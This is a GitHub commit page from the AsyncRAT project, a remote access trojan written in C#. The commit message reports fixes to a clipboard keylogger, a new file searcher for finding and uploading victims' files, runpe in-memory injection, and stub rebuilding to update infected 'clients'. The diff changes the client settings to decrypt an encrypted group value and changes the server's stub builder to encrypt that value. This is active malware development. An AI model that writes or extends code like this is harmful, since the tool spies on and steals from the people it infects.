Skip to content

Commit

Permalink
Update
Browse files Browse the repository at this point in the history
fixed send to disk
fixed keylogger [clipboard] #172
fixed installation
added file searcher [to search and upload any file by it extension]
added group to listview
updated plugin save method
updated runpe send to memory
minor improvements

## NOTE
You need to create a new stub from this version, and then use your old version to update all your clients, otherwise, you won't be able to use the new plugins
  • Loading branch information
Nyrotication committed Apr 22, 2020
1 parent 7af20a2 commit dfa505e
Show file tree
Hide file tree
Showing 2 changed files with 3 additions and 2 deletions.
3 changes: 2 additions & 1 deletion AsyncRAT-C#/Client/Settings.cs
Original file line number Diff line number Diff line change
Expand Up @@ -46,7 +46,7 @@ public static class Settings
public static Aes256 aes256;
public static string Pastebin = "%Pastebin%";
public static string BDOS = "%BDOS%";
public static string Hwid = "";
public static string Hwid = null;
public static string Delay = "%Delay%";
public static string Group = "%Group%";
#endif
Expand All @@ -69,6 +69,7 @@ public static bool InitializeSettings()
Pastebin = aes256.Decrypt(Pastebin);
Anti = aes256.Decrypt(Anti);
BDOS = aes256.Decrypt(BDOS);
Group = aes256.Decrypt(Group);
Hwid = HwidGen.HWID();
Serversignature = aes256.Decrypt(Serversignature);
ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate)));
Expand Down
2 changes: 1 addition & 1 deletion AsyncRAT-C#/Server/Forms/FormBuilder.cs
Original file line number Diff line number Diff line change
Expand Up @@ -450,7 +450,7 @@ private void WriteSettings(ModuleDefMD asmDef, string AsmName)
method.Body.Instructions[i].Operand = numDelay.Value.ToString();

if (method.Body.Instructions[i].Operand.ToString() == "%Group%")
method.Body.Instructions[i].Operand = txtGroup.Text;
method.Body.Instructions[i].Operand = aes.Encrypt(txtGroup.Text);
}
}
}
Expand Down

0 comments on commit dfa505e

Please sign in to comment.